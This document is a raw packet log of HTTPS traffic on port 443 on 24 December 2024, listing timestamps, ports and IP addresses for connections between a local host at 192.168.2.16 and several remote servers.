Dec 24, 2024 11:55:16.731651068 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.731712103 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.734730005 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.734812975 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.734827042 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.735435963 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.735510111 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.735522985 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.738837957 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.738913059 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.738929033 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.739979029 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.783674002 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.783678055 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.783680916 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.784043074 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.824590921 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.833283901 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.834311962 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.837260962 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.879705906 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.879719019 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.879807949 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.879815102 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.879817009 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.879880905 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.879909039 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.907346010 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.910705090 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.910788059 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.910790920 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.910813093 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.910902023 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.910918951 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.911019087 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.911077023 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.911114931 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.911207914 CET	49705	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:16.911223888 CET	443	49705	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:16.911242008 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.911262035 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.913986921 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.914047956 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.914138079 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.914155960 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.914228916 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.919013023 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.920514107 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.920530081 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.921977043 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.926887035 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.926964045 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.926978111 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.927644014 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.929905891 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.929980040 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.929994106 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.934638977 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.934885979 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.934901953 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.937927961 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.937995911 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.938009977 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.939683914 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.939704895 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.939723015 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.939764023 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.939764023 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.939785004 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.939807892 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.939809084 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.939830065 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.939843893 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.939887047 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.942567110 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.942662954 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.942679882 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.945919991 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.946029902 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.946043968 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.953917027 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.953996897 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.954004049 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.957945108 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.958071947 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.958086014 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.961852074 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.962286949 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.962294102 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.965785027 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.965826035 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.965856075 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.965876102 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.966233015 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.973603010 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.977726936 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.977802038 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.977833033 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.980283022 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.980384111 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.980428934 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.980449915 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.980452061 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.980504990 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.980519056 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:16.980546951 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.980628967 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:16.981412888 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.981482983 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:16.981498003 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:16.984749079 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.984847069 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.984950066 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.984963894 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.985024929 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.991698027 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.998668909 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:16.998760939 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:16.998774052 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:17.005798101 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:17.008508921 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:17.008523941 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:17.023672104 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:17.023689032 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:17.055668116 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:17.063045025 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:17.063091993 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:17.063245058 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:17.063494921 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:17.063510895 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:17.071796894 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:17.097779989 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:17.100100994 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:17.100203037 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:17.100214958 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:17.102946043 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:17.105551004 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:17.105637074 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:17.105664968 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:17.105690956 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:17.105763912 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:17.105990887 CET	49709	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:17.106018066 CET	443	49709	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:17.111603975 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:17.111630917 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:17.111696959 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:17.111717939 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:17.111757040 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:17.111798048 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:17.113332033 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:17.113389969 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:17.113396883 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:17.113408089 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:17.113473892 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:17.113481045 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:17.113543987 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:17.113642931 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:17.113903046 CET	49707	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:17.113918066 CET	443	49707	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:17.119474888 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:17.119560957 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:17.119575977 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:17.119596958 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:17.119652033 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:17.119977951 CET	49706	443	192.168.2.16	151.101.194.137
Dec 24, 2024 11:55:17.119992018 CET	443	49706	151.101.194.137	192.168.2.16
Dec 24, 2024 11:55:17.249001980 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:17.249084949 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:17.249224901 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:17.249416113 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:17.249448061 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:17.255933046 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:17.255975962 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:17.256115913 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:17.256372929 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:17.256388903 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:17.264718056 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:17.264730930 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:17.264971018 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:17.265192986 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:17.265202999 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:17.377294064 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:17.377648115 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:17.377671003 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:17.378168106 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:17.378248930 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:17.379158974 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:17.379225969 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:17.380306959 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:17.380386114 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:17.380465984 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:17.420659065 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:17.420672894 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:17.468651056 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.273789883 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.274108887 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:18.274123907 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.275674105 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.275757074 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:18.276159048 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:18.276247978 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.276352882 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:18.276361942 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.322881937 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:18.452241898 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.452320099 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.452343941 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.452368975 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.452406883 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.452445030 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.452464104 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.456537008 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:18.456837893 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:18.456870079 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:18.457756042 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:18.457853079 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:18.458309889 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:18.458370924 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:18.458565950 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:18.458583117 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:18.466420889 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:18.467010021 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:18.467025042 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:18.468095064 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:18.468172073 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:18.469434977 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:18.469502926 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:18.469655037 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:18.469661951 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:18.471882105 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:18.472134113 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:18.472170115 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:18.473628044 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:18.473751068 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:18.474128962 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:18.474211931 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:18.474293947 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:18.474309921 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:18.477152109 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.477178097 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.477256060 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.477287054 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.512667894 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:18.512732983 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:18.527695894 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:18.536668062 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.636743069 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.636763096 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.636804104 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.636936903 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.637015104 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.657630920 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.657648087 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.657670975 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.657741070 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.657815933 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.678757906 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.678769112 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.678796053 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.678879976 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.678932905 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.727786064 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.727803946 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.727833033 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.727843046 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.728010893 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.728049040 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.728099108 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.735958099 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.736023903 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.736063957 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.736072063 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:18.736085892 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.736131907 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:18.736140013 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.744136095 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.744208097 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:18.744216919 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.752439976 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.752518892 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:18.752531052 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.760868073 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.760942936 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:18.760953903 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.808726072 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:18.845648050 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.845778942 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.845813036 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.857129097 CET	443	49715	104.17.25.14	192.168.2.16
Dec 24, 2024 11:55:18.866672039 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.866841078 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.866879940 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.877993107 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.878180027 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.878202915 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.888950109 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.889106989 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.889127970 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.903570890 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.903840065 CET	49712	443	192.168.2.16	170.106.97.198
Dec 24, 2024 11:55:18.903860092 CET	443	49712	170.106.97.198	192.168.2.16
Dec 24, 2024 11:55:18.904680014 CET	49715	443	192.168.2.16	104.17.25.14
Dec 24, 2024 11:55:18.905911922 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:18.906915903 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:18.906968117 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:18.906985044 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:18.906997919 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:18.907052994 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:18.907061100 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:18.907320023 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:18.907394886 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:18.907428980 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:18.907439947 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:18.907452106 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:18.907489061 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:18.907495975 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:18.907500982 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:18.907533884 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:18.907754898 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:18.907821894 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:18.907866955 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:18.907876968 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:18.907923937 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:18.907970905 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:18.907973051 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:18.907988071 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:18.908025980 CET	49716	443	192.168.2.16	104.18.11.207
Dec 24, 2024 11:55:18.915148973 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:18.915242910 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:18.915251970 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:18.915611982 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:18.915931940 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:18.923985004 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:18.924057961 CET	49718	443	192.168.2.16	151.101.2.137
Dec 24, 2024 11:55:18.924068928 CET	443	49718	151.101.2.137	192.168.2.16
Dec 24, 2024 11:55:18.924321890 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:18.924381018 CET	49717	443	192.168.2.16	104.18.10.207
Dec 24, 2024 11:55:18.924388885 CET	443	49717	104.18.10.207	192.168.2.16
Dec 24, 2024 11:55:18.924575090 CET	443	49716	104.18.11.207	192.168.2.16
Dec 24, 2024 11:55:18.924647093 CET	49716	443	192.168.2.16	104.18.11.207
